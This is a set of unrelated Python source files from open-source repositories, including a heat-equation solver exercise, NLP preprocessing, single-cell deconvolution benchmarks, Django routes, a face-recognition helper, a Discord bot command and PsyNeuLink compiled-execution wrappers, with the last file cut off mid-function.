@vault_certificates.setter def vault_certificates(self, value: pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]): pulumi.set(self, "vault_certificates", value)
1.71875
2
T08/ex01.py
mariogarcc/comphy
0
12764311
from package import redact_ex from package import solve_explicit_ode import numpy as np EXERCISE_01 = """\ Make a program that is able to graphically solve the equation \u2202T/\u2202t = \u03B1 \u2202\u00B2T/\u2202x\u00B2 = 0 using the Forward in Time, Centered in Space (FTCS) scheme with Dirichlet boundary conditions u_0 = 0 and u_L = 10. + Consider different initial conditions. + Consider a new boundary condition: u_L = sin(t/2) + Consider null flux boundary conditions.\ """ redact_ex(EXERCISE_01, 1) # computation parameters slices = 20 itern = 1000 plot_frequency = 0.05 # differentiation parameters deltat = 1e-3 deltax = 1e-1 # problem parameters alpha = 1 # helper variable s = alpha*deltat/deltax**2 # grid creation and initial conditions tprev = np.zeros(slices+1); tpprev = np.zeros(slices+1) tprev[0] = 0; tpprev[0] = 0 tprev[slices] = 10; tpprev[slices] = 10 initial_conditions = [tprev, tpprev] # boundary conditions def boundary_conditions(lap, ngr, grid): slices = len(grid[0])-1 ngr[0] = 0 ngr[slices] = 10 egrid = [ngr] + [r for r in grid] return egrid # differentiation scheme def ftcs(ngr, grid, s = s): slices = len(grid[0])-1 for vl in range(1, slices): ngr[vl] = \ grid[0][vl] + s*(grid[0][vl+1] - 2*grid[0][vl] + grid[0][vl-1]) return ngr print("Computing...", end='\n\n') solve_explicit_ode(ftcs, initial_conditions, boundary_conditions, slices, itern, plot_frequency) otprev = otpprev = np.zeros(slices+1) otprev[8:12] = 5; otpprev[8:12] = 5 otprev[0] = 0; otpprev[0] = 0 otprev[slices] = 10; otpprev[slices] = 10 oinitial_conditions = [otprev, otpprev] print("+ Computing...", end='\n\n') solve_explicit_ode(ftcs, oinitial_conditions, boundary_conditions, slices, itern, plot_frequency) deltat = 1e-2 def oboundary_conditions(lap, ngr, grid, deltat = deltat): slices = len(grid[0])-1 ngr[0] = 0 ngr[slices] = 10 * abs(np.cos((lap+1)*deltat/2)) egrid = [ngr] + [r for r in grid] return egrid # need to re-create the initial_conditions arrays tprev = np.zeros(slices+1); tpprev = np.zeros(slices+1) tprev[0] = 0; tpprev[0] = 0 tprev[slices] = 10; tpprev[slices] = 10 initial_conditions = [tprev, tpprev] print("+ Computing...", end='\n\n') solve_explicit_ode(ftcs, initial_conditions, oboundary_conditions, slices, itern, plot_frequency) deltat = 1e-3 def oboundary_conditions(lap, ngr, grid, deltat = deltat): slices = len(grid[0])-1 ngr[0] = ngr[1] ngr[slices] = ngr[slices-1] egrid = [ngr] + [r for r in grid] return egrid otprev = otpprev = np.zeros(slices+1) otprev[8:12] = 5; otpprev[8:12] = 5 otprev[0] = 0; otpprev[0] = 0 oinitial_conditions = [otprev, otpprev] print("+ Computing...", end='\n\n') solve_explicit_ode(ftcs, oinitial_conditions, oboundary_conditions, slices, itern, plot_frequency)
3.109375
3
delft/textClassification/preprocess.py
tantikristanti/delft
333
12764312
import itertools import regex as re import numpy as np # seed is fixed for reproducibility np.random.seed(7) from tensorflow import set_random_seed set_random_seed(7) from unidecode import unidecode from delft.utilities.Tokenizer import tokenizeAndFilterSimple from delft.utilities.bert.run_classifier_delft import DataProcessor import delft.utilities.bert.tokenization as tokenization from delft.utilities.bert.run_classifier_delft import InputExample special_character_removal = re.compile(r'[^A-Za-z\.\-\?\!\,\#\@\% ]',re.IGNORECASE) def to_vector_single(text, embeddings, maxlen=300): """ Given a string, tokenize it, then convert it to a sequence of word embedding vectors with the provided embeddings, introducing <PAD> and <UNK> padding token vector when appropriate """ tokens = tokenizeAndFilterSimple(clean_text(text)) window = tokens[-maxlen:] # TBD: use better initializers (uniform, etc.) x = np.zeros((maxlen, embeddings.embed_size), ) # TBD: padding should be left and which vector do we use for padding? # and what about masking padding later for RNN? for i, word in enumerate(window): x[i,:] = embeddings.get_word_vector(word).astype('float32') return x def to_vector_elmo(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False): """ Given a list of tokens convert it to a sequence of word embedding vectors based on ELMo contextualized embeddings """ subtokens = [] for i in range(0, len(tokens)): local_tokens = [] for j in range(0, min(len(tokens[i]), maxlen)): if lowercase: local_tokens.append(lower(tokens[i][j])) else: local_tokens.append(tokens[i][j]) subtokens.append(local_tokens) return embeddings.get_sentence_vector_only_ELMo(subtokens) """ if use_token_dump: return embeddings.get_sentence_vector_ELMo_with_token_dump(tokens) """ def to_vector_bert(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False): """ Given a list of tokens convert it to a sequence of word embedding vectors based on the BERT contextualized embeddings, introducing padding token when appropriate """ subtokens = [] for i in range(0, len(tokens)): local_tokens = [] for j in range(0, min(len(tokens[i]), maxlen)): if lowercase: local_tokens.append(lower(tokens[i][j])) else: local_tokens.append(tokens[i][j]) subtokens.append(local_tokens) vector = embeddings.get_sentence_vector_only_BERT(subtokens) return vector def to_vector_simple_with_elmo(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False): """ Given a list of tokens convert it to a sequence of word embedding vectors based on the concatenation of the provided static embeddings and the ELMo contextualized embeddings, introducing <PAD> and <UNK> padding token vector when appropriate """ subtokens = [] for i in range(0, len(tokens)): local_tokens = [] for j in range(0, min(len(tokens[i]), maxlen)): if lowercase: local_tokens.append(lower(tokens[i][j])) else: local_tokens.append(tokens[i][j]) if len(tokens[i]) < maxlen: for i in range(0, maxlen-len(tokens[i])): local_tokens.append(" ") subtokens.append(local_tokens) return embeddings.get_sentence_vector_with_ELMo(subtokens) def to_vector_simple_with_bert(tokens, embeddings, maxlen=300, lowercase=False, num_norm=False): """ Given a list of tokens convert it to a sequence of word embedding vectors based on the concatenation of the provided static embeddings and the BERT contextualized embeddings, introducing padding token vector when appropriate """ subtokens = [] for i in range(0, len(tokens)): local_tokens = [] for j in range(0, min(len(tokens[i]), maxlen)): if lowercase: local_tokens.append(lower(tokens[i][j])) else: local_tokens.append(tokens[i][j]) if len(tokens[i]) < maxlen: for i in range(0, maxlen-len(tokens[i])): local_tokens.append(" ") subtokens.append(local_tokens) return embeddings.get_sentence_vector_with_BERT(subtokens) def clean_text(text): x_ascii = unidecode(text) x_clean = special_character_removal.sub('',x_ascii) return x_clean def lower(word): return word.lower() def normalize_num(word): return re.sub(r'[0-90123456789]', r'0', word) class BERT_classifier_processor(DataProcessor): """ BERT data processor for classification """ def __init__(self, labels=None, x_train=None, y_train=None, x_test=None, y_test=None): self.list_classes = labels self.x_train = x_train self.y_train = y_train self.x_test = x_test self.y_test = y_test def get_train_examples(self, x_train=None, y_train=None): """See base class.""" if x_train is not None: self.x_train = x_train if y_train is not None: self.y_train = y_train examples, _ = self.create_examples(self.x_train, self.y_train) return examples def get_labels(self): """See base class.""" return self.list_classes def get_test_examples(self, x_test=None, y_test=None): """See base class.""" if x_test is not None: self.x_test = x_test if y_test is not None: self.y_test = y_test examples, results = self.create_examples(self.x_test, self.y_test) return examples, results def create_examples(self, x_s, y_s=None): examples = [] valid_classes = np.zeros((y_s.shape[0],len(self.list_classes))) accumul = 0 for (i, x) in enumerate(x_s): y = y_s[i] guid = i text_a = tokenization.convert_to_unicode(x) #the_class = self._rewrite_classes(y, i) ind, = np.where(y == 1) the_class = self.list_classes[ind[0]] if the_class is None: #print(text_a) continue if the_class not in self.list_classes: #the_class = 'other' continue label = tokenization.convert_to_unicode(the_class) examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label)) valid_classes[accumul] = y accumul += 1 return examples, valid_classes def create_inputs(self, x_s, dummy_label='dummy'): examples = [] # dummy label to avoid breaking the bert base code label = tokenization.convert_to_unicode(dummy_label) for (i, x) in enumerate(x_s): guid = i text_a = tokenization.convert_to_unicode(x) examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label)) return examples
2.671875
3
src/scmodes/benchmark/deconvolution.py
aksarkar/scmodes
3
12764313
<filename>src/scmodes/benchmark/deconvolution.py import functools as ft import numpy as np import pandas as pd import rpy2.robjects.packages import rpy2.robjects.pandas2ri import scipy.special as sp import scipy.stats as st import sklearn.model_selection as skms import sys rpy2.robjects.pandas2ri.activate() def nb_llik(x, mean, inv_disp): return (x * np.log(mean / inv_disp) - x * np.log(1 + mean / inv_disp) - inv_disp * np.log(1 + mean / inv_disp) + sp.gammaln(x + inv_disp) - sp.gammaln(inv_disp) - sp.gammaln(x + 1)) def score_gamma(x_train, x_test, **kwargs): # This depends on tensorflow, which will fail on import when run on compute # nodes without a GPU. We guard against this in evaluate_generalization by # specifying `methods`. import scqtl onehot = np.ones((x_train.shape[0], 1)) size_factor = x_train.sum(axis=1).reshape(-1, 1) design = np.zeros((x_train.shape[0], 1)) log_mu, log_phi, *_ = scqtl.tf.fit( umi=x_train.astype(np.float32), onehot=onehot.astype(np.float32), design=design.astype(np.float32), size_factor=size_factor.astype(np.float32), learning_rate=1e-3, max_epochs=30000) return nb_llik(x_test, x_test.sum(axis=1, keepdims=True) * np.exp(log_mu), np.exp(-log_phi)).sum(axis=0) def softplus(x): return np.where(x > 30, x, np.log(1 + np.exp(x))) def zinb_llik(x, mean, inv_disp, logodds): case_zero = -softplus(-logodds) + softplus(nb_llik(x, mean, inv_disp) - logodds) case_non_zero = -softplus(logodds) + nb_llik(x, mean, inv_disp) return np.where(x < 1, case_zero, case_non_zero) def score_point_gamma(x_train, x_test, **kwargs): # This depends on tensorflow, which will fail on import when run on compute # nodes without a GPU. We guard against this in evaluate_generalization by # specifying `methods`. import scqtl onehot = np.ones((x_train.shape[0], 1)) size_factor = x_train.sum(axis=1).reshape(-1, 1) init = scqtl.tf.fit( umi=x_train.astype(np.float32), onehot=onehot.astype(np.float32), size_factor=size_factor.astype(np.float32), learning_rate=1e-3, max_epochs=30000) log_mu, log_phi, logodds, *_ = scqtl.tf.fit( umi=x_train.astype(np.float32), onehot=onehot.astype(np.float32), size_factor=size_factor.astype(np.float32), learning_rate=1e-3, max_epochs=30000, warm_start=init[:3]) return zinb_llik(x_test, x_test.sum(axis=1, keepdims=True) * np.exp(log_mu), np.exp(-log_phi), logodds).sum(axis=0) def _score_unimodal(train, test, train_size_factor, test_size_factor): ashr = rpy2.robjects.packages.importr('ashr') lam = train / train_size_factor if np.isclose(lam.min(), lam.max()): # No variation return np.array([np.nan]) res0 = ashr.ash_workhorse( # these are ignored by ash pd.Series(np.zeros(train.shape)), 1, outputlevel='fitted_g', # numpy2ri doesn't DTRT, so we need to use pandas lik=ashr.lik_pois(y=pd.Series(train), scale=train_size_factor, link='identity'), mixsd=pd.Series(np.geomspace(lam.min() + 1e-8, lam.max(), 25)), mode=pd.Series([lam.min(), lam.max()])) res = ashr.ash_workhorse( pd.Series(np.zeros(test.shape)), 1, outputlevel='loglik', lik=ashr.lik_pois(y=pd.Series(test), scale=test_size_factor, link='identity'), fixg=True, g=res0.rx2('fitted_g')) return np.array(res.rx2('loglik')) def score_unimodal(x_train, x_test, pool, **kwargs): result = [] train_size_factor = pd.Series(x_train.sum(axis=1)) test_size_factor = pd.Series(x_test.sum(axis=1)) f = ft.partial(_score_unimodal, train_size_factor=train_size_factor, test_size_factor=test_size_factor) # np iterates over rows result = pool.starmap(f, zip(x_train.T, x_test.T)) return np.array(result).ravel() def _score_zief(train, test, train_size_factor, test_size_factor): descend = rpy2.robjects.packages.importr('descend') try: res = descend.deconvSingle(pd.Series(train), scaling_consts=train_size_factor, verbose=False) except: # DESCEND refuses to run on some datasets (not enough non-zero counts, or # not high enough mean count) return np.nan # DESCEND returns NA on errors if tuple(res.rclass) != ('DESCEND',): return np.nan g = np.array(res.slots['distribution'])[:,:2] # Don't marginalize over lambda = 0 for x > 0, because # p(x > 0 | lambda = 0) = 0 llik = np.where(test > 0, np.log(st.poisson(mu=test_size_factor * g[1:,0]) .pmf(test.reshape(-1, 1)) .dot(g[1:,1])), np.log(st.poisson(mu=test_size_factor * g[:,0]) .pmf(test.reshape(-1, 1)) .dot(g[:,1]))).sum() return llik def score_zief(x_train, x_test, pool, **kwargs): result = [] # numpy2ri doesn't DTRT, so we need to use pandas train_size_factor = pd.Series(x_train.sum(axis=1)) test_size_factor = x_test.sum(axis=1).reshape(-1, 1) f = ft.partial(_score_zief, train_size_factor=train_size_factor, test_size_factor=test_size_factor) result = pool.starmap(f, zip(x_train.T, x_test.T)) return np.array(result).ravel() def _score_npmle(train, test, train_size_factor, test_size_factor, K=100): ashr = rpy2.robjects.packages.importr('ashr') lam = train / train_size_factor grid = np.linspace(0, lam.max(), K + 1) res0 = ashr.ash_workhorse( # these are ignored by ash pd.Series(np.zeros(train.shape)), 1, outputlevel='fitted_g', # numpy2ri doesn't DTRT, so we need to use pandas lik=ashr.lik_pois(y=pd.Series(train), scale=train_size_factor, link='identity'), g=ashr.unimix(pd.Series(np.ones(K) / K), pd.Series(grid[:-1]), pd.Series(grid[1:]))) res = ashr.ash_workhorse( pd.Series(np.zeros(test.shape)), 1, outputlevel='loglik', lik=ashr.lik_pois(y=pd.Series(test), scale=test_size_factor, link='identity'), fixg=True, g=res0.rx2('fitted_g')) return np.array(res.rx2('loglik')) def score_npmle(x_train, x_test, pool, K=100, **kwargs): result = [] train_size_factor = pd.Series(x_train.sum(axis=1)) test_size_factor = pd.Series(x_test.sum(axis=1)) f = ft.partial(_score_npmle, train_size_factor=train_size_factor, test_size_factor=test_size_factor, K=K) result = pool.starmap(f, zip(x_train.T, x_test.T)) return np.array(result).ravel() def evaluate_deconv_generalization(x, pool, methods, **kwargs): result = {} train, val = skms.train_test_split(x, **kwargs) for m in methods: # Hack: get functions by name result[m] = getattr(sys.modules[__name__], f'score_{m}')(train, val, pool=pool) return pd.DataFrame.from_dict(result, orient='columns')
2.25
2
bookorbooks/book/api/urls.py
talhakoylu/SummerInternshipBackend
1
12764314
<filename>bookorbooks/book/api/urls.py from book.api.views.book_page_views import BookPagesByBookIdAPIView from book.api.views.reading_history_views import AddReadingHistoryAPIView, ReadingHistoryByChildAPIView, ReadingHistoryByChildIdAPIView, ReadingHistoryListAllAPIView from book.api.views import AuthorDetailAPIView, AuthorListAPIView, BookDetailAPIView, BookLanguageListAPIView, BookLevelListAPIView, BookListAPIView, BooksPageListAPIView, CategoryListAPIView, CategoryDetailAPIView, CategoryDetailWithBooksAPIView from django.urls import path app_name = "book" urlpatterns = [ path("category-list", CategoryListAPIView.as_view(), name="category-list"), path("category-detail/<slug>", CategoryDetailAPIView.as_view(), name="category-detail"), path("category-detail-with-books/<slug>", CategoryDetailWithBooksAPIView.as_view(), name="category-detail-with-books"), path("book-level-list", BookLevelListAPIView.as_view(), name="book-level-list"), path("book-language-list", BookLanguageListAPIView.as_view(), name="book-language-list"), path("author-list", AuthorListAPIView.as_view(), name="author-list"), path("author-detail/<slug>", AuthorDetailAPIView.as_view(), name="author-detail"), path("book-list", BookListAPIView.as_view(), name="book-list"), path("book-detail/<slug>", BookDetailAPIView.as_view(), name="book-detail"), path("books-page-list", BooksPageListAPIView.as_view(), name="books-page-list"), path("book-pages-by-book-id/<book_id>", BookPagesByBookIdAPIView.as_view(), name="book_page_by_book_id"), path("reading-history-list", ReadingHistoryListAllAPIView.as_view(), name="reading_history_list"), path("reading-history-list-by-child", ReadingHistoryByChildAPIView.as_view(), name="reading_history_list_by_child"), path("reading-history-list/<child_id>", ReadingHistoryByChildIdAPIView.as_view(), name="reading_history_list_by_child_id"), path("add-reading-history-record", AddReadingHistoryAPIView.as_view(), name="reading_history_add"), ]
2.203125
2
AI/face_detector.py
Vahegian/GIANT-ROBOT
2
12764315
import dlib if dlib.cuda.get_num_devices()>=1: print("Enabeling CUDA") dlib.DLIB_USE_CUDA = True dlib.USE_AVX_INSTRUCTIONS = True dlib.DLIB_USE_BLAS, dlib.DLIB_USE_LAPACK, dlib.USE_NEON_INSTRUCTIONS = True, True, True print(dlib.DLIB_USE_CUDA, dlib.USE_AVX_INSTRUCTIONS, dlib.DLIB_USE_BLAS, dlib.DLIB_USE_LAPACK, dlib.USE_NEON_INSTRUCTIONS) import face_recognition import os import cv2 KNOWN_FACES_DIR = 'private' TOLERANCE = 0.6 FRAME_THICKNESS = 3 FONT_THICKNESS = 2 MODEL = 'cnn' # default: 'hog', other one can be 'cnn' - CUDA accelerated (if available) deep-learning pretrained model class FaceDetector(): def __init__(self): super().__init__() self.known_faces, self.known_names = self.explore_known_faces() print(len(self.known_faces), len(self.known_names)) def explore_known_faces(self): print('Loading known faces...') known_faces = [] known_names = [] # We oranize known faces as subfolders of KNOWN_FACES_DIR # Each subfolder's name becomes our label (name) for name in os.listdir(KNOWN_FACES_DIR): # Next we load every file of faces of known person for filename in os.listdir(f'{KNOWN_FACES_DIR}/{name}'): # Load an image image = face_recognition.load_image_file(f'{KNOWN_FACES_DIR}/{name}/{filename}') # Get 128-dimension face encoding # Always returns a list of found faces, for this purpose we take first face only (assuming one face per image as you can't be twice on one image) try: encoding = face_recognition.face_encodings(image)[0] # Append encodings and name known_faces.append(encoding) known_names.append(name) except Exception as e: os.remove(f'{KNOWN_FACES_DIR}/{name}/{filename}') print(str(e), f"\nremoved {KNOWN_FACES_DIR}/{name}/{filename}") return known_faces, known_names def get_face(self, image): image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) locations = face_recognition.face_locations(image, model=MODEL) encodings = face_recognition.face_encodings(image, locations) for face_encoding, face_location in zip(encodings, locations): results = face_recognition.compare_faces(self.known_faces, face_encoding, TOLERANCE) match = None if True in results: # If at least one is true, get a name of first of found labels match = self.known_names[results.index(True)] # print(f' - {match} from {results}') # Each location contains positions in order: top, right, bottom, left top_left = [face_location[0], face_location[3]] bottom_right = [face_location[2], face_location[1]] return top_left, bottom_right, match return [0,0],[0,0], "Unknown"
2.75
3
django_project/autodidacticism/blog/migrations/0002_papermodel.py
MatthewTe/django_postings_project
0
12764316
<gh_stars>0 # Generated by Django 3.1.4 on 2020-12-23 20:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0001_initial'), ] operations = [ migrations.CreateModel( name='PaperModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('paper_title', models.CharField(max_length=50, verbose_name='Paper Title')), ('upload_date', models.DateTimeField(auto_now=True)), ('published_date', models.DateTimeField(blank=True, null=True, verbose_name='Published Date')), ('authors', models.CharField(max_length=100, null=True, verbose_name='Authors')), ('paper_description', models.CharField(max_length=200, verbose_name='Report Description')), ('paper_category', models.CharField(choices=[('FinTech & Investing', 'fintech_investing'), ('Machine Learning', 'machine_learning'), ('Computational Biology', 'computational_biology'), ('Data Engineering', 'data_engineering')], max_length=50, verbose_name='Paper Category')), ('paper', models.FileField(upload_to='papers/', verbose_name='Paper PDF')), ], options={ 'verbose_name_plural': 'Papers', 'ordering': ['-upload_date'], }, ), ]
1.84375
2
react.py
viktorg1/discordpy-scripts
1
12764317
from discord.ext import commands bot = commands.Bot(command_prefix=',') @bot.command() async def react(ctx, id, emoji): message = await ctx.fetch_message(id) await message.add_reaction(emoji) # Usage: ,react [MESSAGE_ID] [EMOJI]
2.4375
2
init_db.py
nccr-itmo/FEDOT.Web
23
12764318
<filename>init_db.py<gh_stars>10-100 import os import pymongo from dotenv import load_dotenv from app.singletons.db_service import DBServiceSingleton from init.init_cases import create_default_cases from init.init_history import create_default_history from init.init_pipelines import create_default_pipelines if __name__ == "__main__": load_dotenv("mongo_conn_string.env") env = os.getenv('MONGO_CONN_STRING') print(env) client = pymongo.MongoClient(env) db = client.get_default_database() DBServiceSingleton(db) create_default_cases() create_default_pipelines() create_default_history()
2.046875
2
psyneulink/core/llvm/execution.py
bdsinger/PsyNeuLink
0
12764319
# Princeton University licenses this file to You under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. You may obtain a copy of the License at: # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software distributed under the License is distributed # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and limitations under the License. # ********************************************* Binary Execution Wrappers ************************************************************** from psyneulink.core.globals.utilities import NodeRole import copy, ctypes from collections import defaultdict import numpy as np from .builder_context import * from . import helpers, jit_engine from .debug import debug_env __all__ = ['CompExecution', 'FuncExecution', 'MechExecution'] def _convert_ctype_to_python(x): if isinstance(x, ctypes.Structure): return [_convert_ctype_to_python(getattr(x, field_name)) for field_name, _ in x._fields_] if isinstance(x, ctypes.Array): return [_convert_ctype_to_python(num) for num in x] if isinstance(x, ctypes.c_double): return x.value if isinstance(x, (float, int)): return x assert False, "Don't know how to convert: {}".format(x) def _tupleize(x): try: return tuple(_tupleize(y) for y in x) except TypeError: return x if x is not None else tuple() class CUDAExecution: def __init__(self, buffers=['param_struct', 'context_struct']): for b in buffers: setattr(self, "_buffer_cuda_" + b, None) self._uploaded_bytes = 0 self._downloaded_bytes = 0 self.__cuda_out_buf = None self.__debug_env = debug_env self.__vo_ty = None def __del__(self): if "cuda_data" in self.__debug_env: try: name = self._bin_func.name except: name = self._composition.name print("{} CUDA uploaded: {}".format(name, self._uploaded_bytes)) print("{} CUDA downloaded: {}".format(name, self._downloaded_bytes)) @property def _vo_ty(self): if self.__vo_ty is None: self.__vo_ty = self._bin_func.byref_arg_types[3] if len(self._execution_ids) > 1: self.__vo_ty = self.__vo_ty * len(self._execution_ids) return self.__vo_ty def _get_ctype_bytes(self, data): # Return dummy buffer. CUDA does not handle 0 size well. if ctypes.sizeof(data) == 0: return bytearray(b'aaaa') return bytearray(data) def upload_ctype(self, data): self._uploaded_bytes += ctypes.sizeof(data) return jit_engine.pycuda.driver.to_device(self._get_ctype_bytes(data)) def download_ctype(self, source, ty): self._downloaded_bytes += ctypes.sizeof(ty) out_buf = bytearray(ctypes.sizeof(ty)) jit_engine.pycuda.driver.memcpy_dtoh(out_buf, source) return ty.from_buffer(out_buf) def __getattr__(self, attribute): if not attribute.startswith("_cuda"): return getattr(super(), attribute) private_attr = "_buffer" + attribute if getattr(self, private_attr) is None: new_buffer = self.upload_ctype(getattr(self, attribute[5:])) setattr(self, private_attr, new_buffer) return getattr(self, private_attr) @property def _cuda_out_buf(self): if self.__cuda_out_buf is None: size = ctypes.sizeof(self._vo_ty) self.__cuda_out_buf = jit_engine.pycuda.driver.mem_alloc(size) return self.__cuda_out_buf def cuda_execute(self, variable): # Create input parameter new_var = np.asfarray(variable) data_in = jit_engine.pycuda.driver.In(new_var) self._uploaded_bytes += new_var.nbytes self._bin_func.cuda_call(self._cuda_param_struct, self._cuda_context_struct, data_in, self._cuda_out_buf, threads=len(self._execution_ids)) # Copy the result from the device ct_res = self.download_ctype(self._cuda_out_buf, self._vo_ty) return _convert_ctype_to_python(ct_res) class FuncExecution(CUDAExecution): def __init__(self, component, execution_ids=[None]): super().__init__() self._bin_func = component._llvmBinFunction self._execution_ids = execution_ids self._component = component par_struct_ty, ctx_struct_ty, vi_ty, vo_ty = self._bin_func.byref_arg_types if len(execution_ids) > 1: self._bin_multirun = self._bin_func.get_multi_run() par_struct_ty = par_struct_ty * len(execution_ids) ctx_struct_ty = ctx_struct_ty * len(execution_ids) vo_ty = vo_ty * len(execution_ids) vi_ty = vi_ty * len(execution_ids) par_initializer = (component._get_param_initializer(ex_id) for ex_id in execution_ids) ctx_initializer = (component._get_context_initializer(ex_id) for ex_id in execution_ids) self.__param_struct = par_struct_ty(*par_initializer) self.__context_struct = ctx_struct_ty(*ctx_initializer) self._ct_len = ctypes.c_int(len(execution_ids)) self._ct_vo = vo_ty() self._vi_ty = vi_ty def _get_compilation_param(self, name, initializer, arg, execution_id): param = getattr(self._component._compilation_data, name) struct = param.get(execution_id) if struct is None: initializer = getattr(self._component, initializer)(execution_id) struct_ty = self._bin_func.byref_arg_types[arg] struct = struct_ty(*initializer) param.set(struct, execution_context=execution_id) return struct @property def _param_struct(self): if len(self._execution_ids) > 1: return self.__param_struct return self._get_compilation_param('parameter_struct', '_get_param_initializer', 0, self._execution_ids[0]) @property def _context_struct(self): if len(self._execution_ids) > 1: return self.__context_struct return self._get_compilation_param('context_struct', '_get_context_initializer', 1, self._execution_ids[0]) def execute(self, variable): new_variable = np.asfarray(variable) if len(self._execution_ids) > 1: # wrap_call casts the arguments so we only need contiguaous data # layout ct_vi = np.ctypeslib.as_ctypes(new_variable) self._bin_multirun.wrap_call(self._param_struct, self._context_struct, ct_vi, self._ct_vo, self._ct_len) else: ct_vi = new_variable.ctypes.data_as(ctypes.POINTER(self._vi_ty)) self._bin_func(ctypes.byref(self._param_struct), ctypes.byref(self._context_struct), ct_vi, ctypes.byref(self._ct_vo)) return _convert_ctype_to_python(self._ct_vo) class MechExecution(FuncExecution): def execute(self, variable): # convert to 3d. we always assume that: # a) the input is vector of input states # b) input states take vector of projection outputs # c) projection output is a vector (even 1 element vector) new_var = np.asfarray([np.atleast_2d(x) for x in variable]) return super().execute(new_var) class CompExecution(CUDAExecution): def __init__(self, composition, execution_ids = [None]): super().__init__(buffers=['context_struct', 'param_struct', 'data_struct', 'conditions']) self._composition = composition self._execution_ids = execution_ids self.__bin_exec_func = None self.__bin_exec_multi_func = None self.__bin_func = None self.__bin_run_func = None self.__bin_run_multi_func = None self.__debug_env = debug_env self.__frozen_vals = None # TODO: Consolidate these if len(execution_ids) > 1: # At least the input_CIM wrapper should be generated input_cim_fn = composition._get_node_wrapper(composition.input_CIM)._llvm_function # Input structures # TODO: Use the compiled version to get these c_context = _convert_llvm_ir_to_ctype(input_cim_fn.args[0].type.pointee) c_param = _convert_llvm_ir_to_ctype(input_cim_fn.args[1].type.pointee) c_data = _convert_llvm_ir_to_ctype(input_cim_fn.args[3].type.pointee) c_context = c_context * len(execution_ids) c_param = c_param * len(execution_ids) c_data = c_data * len(execution_ids) ctx_initializer = (composition._get_context_initializer(ex_id) for ex_id in execution_ids) par_initializer = (composition._get_param_initializer(ex_id) for ex_id in execution_ids) data_initializer = (composition._get_data_initializer(ex_id) for ex_id in execution_ids) # Instantiate structures self.__context_struct = c_context(*ctx_initializer) self.__param_struct = c_param(*par_initializer) self.__data_struct = c_data(*data_initializer) self.__conds = None self._ct_len = ctypes.c_int(len(execution_ids)) @property def _bin_func(self): if self.__bin_func is not None: assert len(self._execution_ids) == 1 return self.__bin_func if self.__bin_exec_func is not None: return self.__bin_exec_func if self.__bin_run_func is not None: return self.__bin_run_func assert False, "Binary function not set for execution!" def _set_bin_node(self, node): assert node in self._composition._all_nodes self.__bin_func = self._composition._get_bin_node(node) @property def _conditions(self): if len(self._execution_ids) > 1: if self.__conds is None: cond_type = self._bin_func.byref_arg_types[4] * len(self._execution_ids) gen = helpers.ConditionGenerator(None, self._composition) cond_initializer = (gen.get_condition_initializer() for _ in self._execution_ids) self.__conds = cond_type(*cond_initializer) return self.__conds conds = self._composition._compilation_data.scheduler_conditions.get(self._execution_ids[0]) if conds is None: cond_type = self._bin_func.byref_arg_types[4] gen = helpers.ConditionGenerator(None, self._composition) cond_initializer = gen.get_condition_initializer() conds = cond_type(*cond_initializer) self._composition._compilation_data.scheduler_conditions.set(conds, execution_context=self._execution_ids[0]) return conds def _get_compilation_param(self, name, initializer, arg, execution_id): param = getattr(self._composition._compilation_data, name) struct = param.get(execution_id) if struct is None: initializer = getattr(self._composition, initializer)(execution_id) struct_ty = self._bin_func.byref_arg_types[arg] struct = struct_ty(*initializer) param.set(struct, execution_context=execution_id) return struct @property def _param_struct(self): if len(self._execution_ids) > 1: return self.__param_struct return self._get_compilation_param('parameter_struct', '_get_param_initializer', 1, self._execution_ids[0]) @property def _context_struct(self): if len(self._execution_ids) > 1: return self.__context_struct return self._get_compilation_param('context_struct', '_get_context_initializer', 0, self._execution_ids[0]) @property def _data_struct(self): if len(self._execution_ids) > 1: return self.__data_struct # Run wrapper changed argument order arg = 2 if len(self._bin_func.byref_arg_types) > 5 else 3 return self._get_compilation_param('data_struct', '_get_data_initializer', arg, self._execution_ids[0]) @_data_struct.setter def _data_struct(self, data_struct): if len(self._execution_ids) > 1: self.__data_struct = data_struct else: self._composition._compilation_data.data_struct.set(data_struct, execution_context = self._execution_ids[0]) def _extract_node_struct(self, node, data): field = data._fields_[0][0] res_struct = getattr(data, field) index = self._composition._get_node_index(node) field = res_struct._fields_[index][0] res_struct = getattr(res_struct, field) return _convert_ctype_to_python(res_struct) def extract_node_struct(self, node, struct): if len(self._execution_ids) > 1: return [self._extract_node_struct(node, struct[i]) for i, _ in enumerate(self._execution_ids)] else: return self._extract_node_struct(node, struct) def extract_frozen_node_output(self, node): return self.extract_node_struct(node, self.__frozen_vals) def extract_node_output(self, node): return self.extract_node_struct(node, self._data_struct) def extract_node_state(self, node): return self.extract_node_struct(node, self._context_struct) def extract_node_params(self, node): return self.extract_node_struct(node, self._param_struct) def insert_node_output(self, node, data): my_field_name = self._data_struct._fields_[0][0] my_res_struct = getattr(self._data_struct, my_field_name) index = self._composition._get_node_index(node) node_field_name = my_res_struct._fields_[index][0] setattr(my_res_struct, node_field_name, _tupleize(data)) def _get_input_struct(self, inputs): origins = self._composition.get_nodes_by_role(NodeRole.INPUT) # Either node execute or composition execute, either way the # input_CIM should be ready bin_input_node = self._composition._get_bin_node(self._composition.input_CIM) c_input = bin_input_node.byref_arg_types[2] if len(self._execution_ids) > 1: c_input = c_input * len(self._execution_ids) # Read provided input data and separate each input state if len(self._execution_ids) > 1: input_data = [] for inp in inputs: input_data.append(([x] for m in origins for x in inp[m])) else: input_data = ([x] for m in origins for x in inputs[m]) return c_input(*_tupleize(input_data)) def freeze_values(self): self.__frozen_vals = copy.deepcopy(self._data_struct) def execute_node(self, node, inputs = None, execution_id=None): # We need to reconstruct the inputs here if they were not provided. # This happens during node execution of nested compositions. if inputs is None and node is self._composition.input_CIM: # This assumes origin mechanisms are in 